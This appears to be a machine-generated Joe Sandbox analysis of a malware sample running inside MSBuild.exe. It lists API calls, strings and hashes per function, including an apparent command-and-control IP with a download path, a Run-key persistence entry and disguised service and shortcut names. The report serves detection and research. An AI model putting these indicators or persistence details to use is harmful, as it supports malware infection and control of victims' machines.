Opcode ID: 7295ff74a8df6ec3caf21d5fdfdb0e0c2a4623e25b3fb7d6fc7ee1ac6f509405
Instruction ID: fde9c70384ed7b470145effbaa40b37070b462a9a416ec4f8fbcf30ee0580c89
Opcode Fuzzy Hash: 7295ff74a8df6ec3caf21d5fdfdb0e0c2a4623e25b3fb7d6fc7ee1ac6f509405
Instruction Fuzzy Hash: 210192316005199FCB00EB54C885E6D7BB5FF86710B084099E8019B361EF70EE04CB50

Function 005A15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005A15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 005A161E

Part of subcall function 005A5178: _Yarn.LIBCPMT ref: 005A5197
Part of subcall function 005A5178: _Yarn.LIBCPMT ref: 005A51BB

Strings

bad locale name, xrefs: 005A162C

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: af3324d0b91a621fb215ceb2fca2643cba3deecbfac491bbfe025edd9d6b52b7
Instruction ID: e7fcd9a0a6c7e56ec5f5f83d98951281c12cceb29be566aec782f557a371d811
Opcode Fuzzy Hash: af3324d0b91a621fb215ceb2fca2643cba3deecbfac491bbfe025edd9d6b52b7
Instruction Fuzzy Hash: 2DF017B1505B90AE83319FBA848144BFFE4BE693107948A2EE1DEC3A11D770A404CF6A

Function 005B62A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 005B62E6

Strings

InitializeCriticalSectionEx, xrefs: 005B62B6
R[Z, xrefs: 005B62D6

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$R[Z
API String ID: 2593887523-1628401463
Opcode ID: f7ab731cfd54ea5108dff440f981556718ba8e69c47f14389fb8fed57a1518a2
Instruction ID: 7b17d381a755e6f0367289335e2ecdc2c98f93219f3fd04d8bd6a3db8bb9341a
Opcode Fuzzy Hash: f7ab731cfd54ea5108dff440f981556718ba8e69c47f14389fb8fed57a1518a2
Instruction Fuzzy Hash: 43E0923614021CBFCF112F91EC0AFDE7F25FB447A1B008024FD1825160C6B2EA21EAC4

Function 005B612C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 005B6160

Strings

FlsAlloc, xrefs: 005B613C
R[Z, xrefs: 005B6156

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc$R[Z
API String ID: 2773662609-1411982570
Opcode ID: 7f50ada575afaf580e02538b364bcbe7f4148668e2d0ffa030d38e01f1c2f9b8
Instruction ID: b496f66a177f399555ec3c782971b92bc04216a1c17ebd2193156cfa0bb23358
Opcode Fuzzy Hash: 7f50ada575afaf580e02538b364bcbe7f4148668e2d0ffa030d38e01f1c2f9b8
Instruction Fuzzy Hash: 7CE0CD3668461C7B871136A59C0DFDE7E14FB55B617044020F90575181C9A96900DAD5

Analysis Process: MSBuild.exePID: 6004, Parent PID: 528COMMON

Execution Graph

Execution Coverage:	19.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.3%
Total number of Nodes:	698
Total number of Limit Nodes:	25

Executed Functions

Function 00403560 Relevance: 55.1, APIs: 24, Strings: 7, Instructions: 825COMMON

Download Yara Rule

APIs

Part of subcall function 00405360: memmove.VCRUNTIME140(?,?,?,?,?), ref: 00405392

Part of subcall function 00405360: memmove.VCRUNTIME140(00000000,?,?,?,?), ref: 0040541F

Part of subcall function 00402C40: WSAStartup.WS2_32(00000202,?), ref: 00402CE0

memset.VCRUNTIME140(?,00000000,000000B0), ref: 0040362D
??0?$basic_ios@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140 ref: 00403652
??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140(?,00000000), ref: 00403669
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140 ref: 0040369F
?_Xbad_alloc@std@@YAXXZ.MSVCP140 ref: 004036CE
memmove.VCRUNTIME140(00000000,?,?), ref: 00403714
?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDD@Z.MSVCP140 ref: 004037C4
??Bios_base@std@@QBE_NXZ.MSVCP140(?,00000000,?,?), ref: 004037ED
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,00000000,?,?), ref: 00403FB0
Concurrency::cancel_current_task.LIBCPMT ref: 00403FD8

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00403C73
IDSM, xrefs: 0040390C
R`@, xrefs: 00403679, 00403ECB
/ldms/offers.txt, xrefs: 004035C0
open, xrefs: 00403CDD
IDSMService, xrefs: 00403CA6
147.45.44.104, xrefs: 0040358C

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$memmove$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@?widen@?$basic_ios@Bios_base@std@@Concurrency::cancel_current_taskD@std@@@1@@StartupV?$basic_streambuf@Xbad_alloc@std@@_invalid_parameter_noinfo_noreturnmemset
String ID: /ldms/offers.txt$147.45.44.104$IDSM$IDSMService$R`@$Software\Microsoft\Windows\CurrentVersion\Run$open
API String ID: 2407494319-3496687807
Opcode ID: 5dd4b4358d65f3f6bc8f35075b74667e574f2a5267faa43f40f05d81cfa2b54e
Instruction ID: 5428389e555ad5f6a45b17bf7a81e33824b3aecdfd172777149c1db37443a3f3
Opcode Fuzzy Hash: 5dd4b4358d65f3f6bc8f35075b74667e574f2a5267faa43f40f05d81cfa2b54e
Instruction Fuzzy Hash: 6F72C0715083419FD324DF24C984BABBBE5BFC5304F148A2EF589A72D1DB78A944CB86

Function 00402C40 Relevance: 42.5, APIs: 20, Strings: 4, Instructions: 545
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 00402CE0
socket.WS2_32(00000002,00000001,00000000), ref: 00402D6A
WSACleanup.WS2_32 ref: 00402D7D
inet_addr.WS2_32(?), ref: 00402D9B
htons.WS2_32(00000050), ref: 00402DB5
connect.WS2_32(00000000,?,00000010), ref: 00402DCC
closesocket.WS2_32(00000000), ref: 00402DD7
WSACleanup.WS2_32 ref: 00402DDD
memmove.VCRUNTIME140(?, HTTP/1.1Host: ,00000011,?,?,GET ,00000004,?,?), ref: 00402E62

Part of subcall function 00405200: memmove.VCRUNTIME140(00000000,7FFFFFFF,00000000,00000000,?,00000000,?), ref: 004052D1
Part of subcall function 00405200: memmove.VCRUNTIME140(00000000,?,00000000,00000000,7FFFFFFF,00000000,00000000,?,00000000,?), ref: 004052DF

memmove.VCRUNTIME140(?,Connection: close,00000017,?), ref: 00402F6E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000017,00000000,Connection: close,00000017,?), ref: 004030C0
send.WS2_32(00000000,?,00000000,00000000), ref: 00403109
recv.WS2_32(00000000,?,00001000,00000000), ref: 0040311E
memmove.VCRUNTIME140(00000000,?,00000000), ref: 00403168
recv.WS2_32(?,?,00001000,00000000), ref: 004031AA
closesocket.WS2_32(?), ref: 004031C0
WSACleanup.WS2_32 ref: 004031C6
memchr.VCRUNTIME140(00000000,0000000D,-000000FD), ref: 004031FC
memchr.VCRUNTIME140(00000001,0000000D,?,0040768C,000000FF), ref: 00403253
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000011), ref: 00403407

Strings

Connection: close, xrefs: 00402F48
HTTP/1.1Host: , xrefs: 00402E3C
, xrefs: 00403212
GET , xrefs: 00402E0F

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove$Cleanup$_invalid_parameter_noinfo_noreturnclosesocketmemchrrecv$Startupconnecthtonsinet_addrsendsocket
String ID: $Connection: close$ HTTP/1.1Host: $GET
API String ID: 4033058781-1781892355
Opcode ID: c596384fd51104c5850dcddadb6bee3c7df093660783803800e52ed39a2c1936
Instruction ID: c5b71f20ca35d497a6cb79b3eaf01272866d24013029492293e5fddfc405e4c4
Opcode Fuzzy Hash: c596384fd51104c5850dcddadb6bee3c7df093660783803800e52ed39a2c1936
Instruction Fuzzy Hash: F032A0709002589BDB24CF24CD447EABBB5AF45304F1082EEE459AB2D1D7B89FC58F99

Function 00402400 Relevance: 28.5, APIs: 13, Strings: 3, Instructions: 490
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000003,000000FF,?,00000000,CF5D1773,?,?), ref: 00402584
SHGetFolderPathW.SHELL32(00000000,00000007,00000000,00000000,?,?,?,00000003,000000FF,?,00000000,CF5D1773,?,?), ref: 004025C1
GetTickCount64.KERNEL32 ref: 004025CF
memmove.VCRUNTIME140(?,?,?), ref: 0040265A
memmove.VCRUNTIME140(?,LKMService_,0000000B), ref: 0040266B
memmove.VCRUNTIME140(?,ion: close,00000016), ref: 00402686
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,0000000B), ref: 004027B3

Part of subcall function 00405DC0: memmove.VCRUNTIME140(00000000,LKMService_,?,?,00000000), ref: 00405EA2
Part of subcall function 00405DC0: memmove.VCRUNTIME140(00000000,0000000B,00000000,00000000,LKMService_,?,?,00000000), ref: 00405EB6

memmove.VCRUNTIME140(00000000,?,00000000,?,00000000,?,0000000B), ref: 004028AD
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000000,?,?,?,00000000,?,0000000B), ref: 004029BD

Part of subcall function 00404E50: memmove.VCRUNTIME140(00000000,7FFFFFFE,7FFFFFFE,?,?,00000000,?,?), ref: 00404F3D
Part of subcall function 00404E50: memmove.VCRUNTIME140(?,?,?,00000000,7FFFFFFE,7FFFFFFE,?,?,00000000,?,?), ref: 00404F4B

CoInitialize.OLE32(00000000), ref: 004029CF
CoCreateInstance.OLE32(00408258,00000000,00000001,00408248,00000000,?,0000000B), ref: 00402A02
CoUninitialize.COMBASE(?,0000000B), ref: 00402A91
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,0000000B), ref: 00402B22

Strings

ion: close, xrefs: 00402684
.lnk, xrefs: 00402703
LKMService_, xrefs: 00402629, 00402630, 0040263E, 00402665

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove$_invalid_parameter_noinfo_noreturn$Count64CreateFolderInitializeInstancePathTickUninitialize
String ID: .lnk$LKMService_$ion: close
API String ID: 1868796291-1036414838
Opcode ID: 3b0bc44435daa555cb81984f3327f3fb6b8378d37ff6c13db9c51aeb29608350
Instruction ID: 5e74bef6d7fa045a03dde885c7f1c8dbf2861e1c54bfdcc240bbcc8b028ce4a3
Opcode Fuzzy Hash: 3b0bc44435daa555cb81984f3327f3fb6b8378d37ff6c13db9c51aeb29608350
Instruction Fuzzy Hash: C422B1709002199BDB24DF24DE8CBAEB7B4AF44304F1446EAD449B72D0DB78AE84CF59

Function 00406856 Relevance: 12.1, APIs: 8, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_set_app_type.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000002), ref: 00406859
_set_fmode.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000002), ref: 00406864
__p__commode.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000002), ref: 00406870
__RTC_Initialize.LIBCMT ref: 00406888
_configure_narrow_argv.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,0040719F), ref: 0040689D

Part of subcall function 00407102: InitializeSListHead.KERNEL32(0040B7C0,004068AD), ref: 00407107

__setusermatherr.API-MS-WIN-CRT-MATH-L1-1-0(Function_00006F2A), ref: 004068BB
_configthreadlocale.API-MS-WIN-CRT-LOCALE-L1-1-0(00000000), ref: 004068D6
_initialize_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 004068E5

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: Initialize$HeadList__p__commode__setusermatherr_configthreadlocale_configure_narrow_argv_initialize_narrow_environment_set_app_type_set_fmode
String ID:
API String ID: 1933938900-0
Opcode ID: d49f7e1743acc24ecbb0eff4a1c160317bc677601045b3328a95f7175c7c9b2d
Instruction ID: d38f5e8185e9b9634ee7e83d76d237de764f9832298d5ebb9d141ef76766c618
Opcode Fuzzy Hash: d49f7e1743acc24ecbb0eff4a1c160317bc677601045b3328a95f7175c7c9b2d
Instruction Fuzzy Hash: EF014622E0921320DC2033F32807A4E06090F0176CB2688BFB852BA2C7ED3DA82554BF

Function 004061B3 Relevance: 3.0, APIs: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(?,00000000,?), ref: 004061C0
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 004061D3

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: dfeeacf7d6dbfda4e3c10060e13f72689f9393aa2c723924ca17a4ae0f7d8c06
Instruction ID: b132463962744674ab7dbd141cababa26dea32a5b71073cf74fb59412030b6ae
Opcode Fuzzy Hash: dfeeacf7d6dbfda4e3c10060e13f72689f9393aa2c723924ca17a4ae0f7d8c06
Instruction Fuzzy Hash: 5CF02B30F0411CABEF116A98CE80ADF7BEDAB64354F11807AE952B72D5DB34CD618355

Function 00406A50 Relevance: 3.0, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406F2D: GetModuleHandleW.KERNEL32(00000000,00406A1A,00400000,00000000,00000000,00000000,00409680,00000014), ref: 00406F2F

_c_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00406A62
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000007,00409680,00000014), ref: 00406A91

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: HandleModule_c_exit_exit
String ID:
API String ID: 750871209-0
Opcode ID: aa03d50c6beb43699c6d0ce900861a9452827828d6a1474a5fe1a110b7a6dce9
Instruction ID: 37ad3cc0cfaba0219940174094493a83a0d23d072222ff50fd32a89180544b11
Opcode Fuzzy Hash: aa03d50c6beb43699c6d0ce900861a9452827828d6a1474a5fe1a110b7a6dce9
Instruction Fuzzy Hash: B5E04F71E082498FDF14ABD4D4022DDB771BB4132CF10417BE812327E1D73958218A59

Non-executed Functions

Function 00406212 Relevance: 16.7, APIs: 11, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesExW.KERNEL32(00000003,00000000,?,00000000,000000B7,00000000), ref: 004062AA
GetLastError.KERNEL32 ref: 004062B4
FindFirstFileW.KERNEL32(00000003,?), ref: 004062CB
GetLastError.KERNEL32 ref: 004062D6
FindClose.KERNEL32(00000000), ref: 004062E2
___std_fs_open_handle@16.LIBCPMT ref: 0040639B
___std_fs_close_handle@4.MSVCPRT ref: 00406462

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_close_handle@4___std_fs_open_handle@16
String ID:
API String ID: 3584187540-0
Opcode ID: 50d045256d68daddde9e7b5541e876662cb85cd198cbf1256db02800c65195f2
Instruction ID: 1274d20680b474cabce40d15f88513c435549248873a045109f05226d7cd93ff
Opcode Fuzzy Hash: 50d045256d68daddde9e7b5541e876662cb85cd198cbf1256db02800c65195f2
Instruction Fuzzy Hash: AB718174A006159FDB20CF28DD84BAAB7B4AF05310F1542BAE856F33D0DB349965CF99

Function 00406DDF Relevance: 9.1, APIs: 6, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00406DEB
memset.VCRUNTIME140(?,00000000,00000003), ref: 00406E11
memset.VCRUNTIME140(?,00000000,00000050), ref: 00406E9B
IsDebuggerPresent.KERNEL32 ref: 00406EB7
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00406ED0
UnhandledExceptionFilter.KERNEL32(?), ref: 00406EDA

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: d22a05a0e9144802d94f3f32e8cd634304bcd70fb791747d06b88544ece12f40
Instruction ID: f9004716e5815aba53a72e661ef61df2903b9fe1e90996d99bad0971ff841faa
Opcode Fuzzy Hash: d22a05a0e9144802d94f3f32e8cd634304bcd70fb791747d06b88544ece12f40
Instruction Fuzzy Hash: E5312775D0532CDBDF20DFA4D9497CDBBB8AF08300F1041AAE40DAB290EB749A858F49

Function 00404990 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140(?,?,?,00000000), ref: 00404B20
memmove.VCRUNTIME140(00000000,?,?,00000000), ref: 00404BD7

Strings

/Kim, xrefs: 004049D5

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove
String ID: /Kim
API String ID: 2162964266-585551710
Opcode ID: 868540da59b6df48a1f4c59bd0d663c70156c3ec644ad6d280cd83080913cbfc
Instruction ID: f4c5cb09de43cc97102c807eb58ced1cf732f4ca70dc060feb7bc40a16e737ad
Opcode Fuzzy Hash: 868540da59b6df48a1f4c59bd0d663c70156c3ec644ad6d280cd83080913cbfc
Instruction Fuzzy Hash: 377170B1F012099BCB18CF6DD9806ADF7F6AF88314B15423FE51AE7390EB74A9058B44

Function 0040607E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,?,00000002,CF5D1773,?,004016F3,?,CF5D1773), ref: 00406092
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,CF5D1773,00000000,00000000,?,?,004016F3,?,CF5D1773), ref: 004060B9

Strings

!x-sys-default-locale, xrefs: 0040608D

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 7a98a2a1a92a1189ed3ad85fcc2d392486bb4960ad316d9992bf9f35d453176c
Instruction ID: fca283652e27d7e44ac4930db258e5582ab530a3df7b876307ae8e07594bca9a
Opcode Fuzzy Hash: 7a98a2a1a92a1189ed3ad85fcc2d392486bb4960ad316d9992bf9f35d453176c
Instruction Fuzzy Hash: 55F0A0B1250104FFFF149F94CD0ADAB76ACEB49390B01803AB906E6080E6B5AE109774

Function 00401C40 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004060F2: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(00401CC7,CF5D1773), ref: 004060F2

memmove.VCRUNTIME140(?,?,00000001,?,?,?,CF5D1773), ref: 00401D6A
memmove.VCRUNTIME140(?,?,00000002,?,?,?,CF5D1773), ref: 00401DD6
memmove.VCRUNTIME140(?,: ",00000003,00000002,00000000,?,00000002,?,?,?,CF5D1773), ref: 00401E31
memmove.VCRUNTIME140(?,", ",00000004,?,00000003,00000000,: ",00000003,00000002,00000000,?,00000002,?,?,?,CF5D1773), ref: 00401E9E
memmove.VCRUNTIME140(?,?,00000000,00000004,00000000,", ",00000004,?,00000003,00000000,: ",00000003,00000002,00000000,?,00000002), ref: 00401EFD
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000022,?,00000003,00000000,: ",00000003,00000002,00000000,?,00000002,?,?,?,CF5D1773), ref: 00401FBE

Strings

", ", xrefs: 00401E98, 00401EB1
: ", xrefs: 00401E2B, 00401E44

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove$___lc_codepage_func_invalid_parameter_noinfo_noreturn
String ID: ", "$: "
API String ID: 4026628035-747220369
Opcode ID: a5900877634bf67ec54eded87b4aa8c0c5c8fd2a78e6340c6b6220cebfb4680c
Instruction ID: 6cc0111e9406b72c8b2322e4bbdf611442cbf80e410541fef41bbb421e3ea61c
Opcode Fuzzy Hash: a5900877634bf67ec54eded87b4aa8c0c5c8fd2a78e6340c6b6220cebfb4680c
Instruction Fuzzy Hash: E3C1D2B0E002049FDB24DF68C884BAEBBF5FF84704F14462EE451A7791D778A945CB99

Function 00405DC0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140(00000000,LKMService_,?,?,00000000), ref: 00405EA2
memmove.VCRUNTIME140(00000000,0000000B,00000000,00000000,LKMService_,?,?,00000000), ref: 00405EB6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00000000), ref: 00405EF9
memmove.VCRUNTIME140(00000000,LKMService_,?,?,00000000), ref: 00405EFF
memmove.VCRUNTIME140(00000000,?,0000000B,00000000,LKMService_,?,?,00000000), ref: 00405F09

Part of subcall function 004065A4: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00405999,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004065B9

Concurrency::cancel_current_task.LIBCPMT ref: 00405F1E

Part of subcall function 004010E0: _CxxThrowException.VCRUNTIME140(?,004097A0,?,?), ref: 004010F7
Part of subcall function 004010E0: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,004097A0,?,?), ref: 0040111E

Strings

LKMService_, xrefs: 00405E8E

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_taskExceptionThrow__std_exception_copy_invalid_parameter_noinfo_noreturnmalloc
String ID: LKMService_
API String ID: 1727118979-602673782
Opcode ID: 9664c79231ec41bfd8dc5e1299175631485a462d6f146d58d6756aa66e94322f
Instruction ID: 911afb6bc2ee6dc95fd9cc2c249059117e8950e1a13945c5be5cef6890ba84fd
Opcode Fuzzy Hash: 9664c79231ec41bfd8dc5e1299175631485a462d6f146d58d6756aa66e94322f
Instruction Fuzzy Hash: 4551D572A00504AFCB04DF68D941A5FB7E9EB48350F15027AE816E73D1DB38EE11CB94

Function 00404E50 Relevance: 9.2, APIs: 6, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140(00000000,7FFFFFFE,7FFFFFFE,?,?,00000000,?,?), ref: 00404F3D
memmove.VCRUNTIME140(?,?,?,00000000,7FFFFFFE,7FFFFFFE,?,?,00000000,?,?), ref: 00404F4B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,00000000,?,?), ref: 00404F96
memmove.VCRUNTIME140(00000000,?,7FFFFFFE,?,?,00000000,?,?), ref: 00404F9E
memmove.VCRUNTIME140(?,?,7FFFFFFE,00000000,?,7FFFFFFE,?,?,00000000,?,?), ref: 00404FAA

Part of subcall function 004065A4: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00405999,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004065B9

Concurrency::cancel_current_task.LIBCPMT ref: 00404FC7

Part of subcall function 004010E0: _CxxThrowException.VCRUNTIME140(?,004097A0,?,?), ref: 004010F7
Part of subcall function 004010E0: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,004097A0,?,?), ref: 0040111E

Memory Dump Source

Source File: 00000002.00000002.2104168975.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_taskExceptionThrow__std_exception_copy_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1727118979-0
Opcode ID: a89a38a040849844b5ef4dc86579242065c8840ce102df69f0fa12edd3f8686f
Instruction ID: 2723e39aff964f5e69e31f92826183018aab47d1e4acfbc1d8b6d63c86ed34b4
Opcode Fuzzy Hash: a89a38a040849844b5ef4dc86579242065c8840ce102df69f0fa12edd3f8686f
Instruction Fuzzy Hash: 4841C6B2A001159FCB04EFA8D98199EB7F5BF88310B15067AF911E7391DB34EE11CB95

